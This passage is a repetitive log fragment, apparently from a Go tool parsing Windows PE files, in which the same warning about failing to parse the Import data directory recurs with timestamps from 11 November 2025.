level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:56+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:54:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:02+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:03+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:04+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:05+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:06+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:07+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:10+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:11+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:55:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading 